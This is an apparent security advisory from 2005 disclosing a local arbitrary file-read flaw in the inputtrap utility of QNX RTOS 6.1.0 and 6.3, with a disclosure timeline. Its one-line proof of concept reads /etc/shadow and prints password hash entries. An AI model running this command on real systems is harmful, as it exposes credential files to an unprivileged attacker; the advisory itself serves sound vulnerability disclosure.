[NEWS] QNX RTOS inputtrap Arbitrary File Reading

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  QNX RTOS inputtrap Arbitrary File Reading
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SUMMARY

" <http://www.qnx.com/> QNX Neutrino realtime operating system (RTOS) sets 
the industry standard for reliability, fault tolerance, and scalability."

"inputtrap - Detect input devices and start the input manager."

Lack of proper permission checking allows local attackers to retrieve 
information from files used by inputtrap.

DETAILS

Vulnerable Systems:
 * QNX RTOS version 6.3
 * QNX RTOS version 6.1.0

Due to improper permissions checking, inputtrap allows administrative 
access to files anywhere in the disk.

Proof of Concept:
$ inputtrap -t /etc/shadow start
options: Unable to lookup root:21QjUKxP9gEJK:0:0:0 in modules table
options: Unable to lookup sandimas:91UzHxvt3x1n2:0:0:0 in modules table

Disclosure Timeline:
22 Feb 2005: Vulnerability detected
09 Jun 2005: Advisory sent to QNX;
10 Jun 2005: QNX contacted rfdslabs;
24 Aug 2005: Advisory sent to security mailing lists.


ADDITIONAL INFORMATION

The information has been provided by  <mailto:julio@xxxxxxxxxxxxxxx> Julio 
Cesar Fort.
The original article can be found at:  
<http://www.rfdslabs.com.br/advisories/qnx-advs-01-2005.txt> 
http://www.rfdslabs.com.br/advisories/qnx-advs-01-2005.txt



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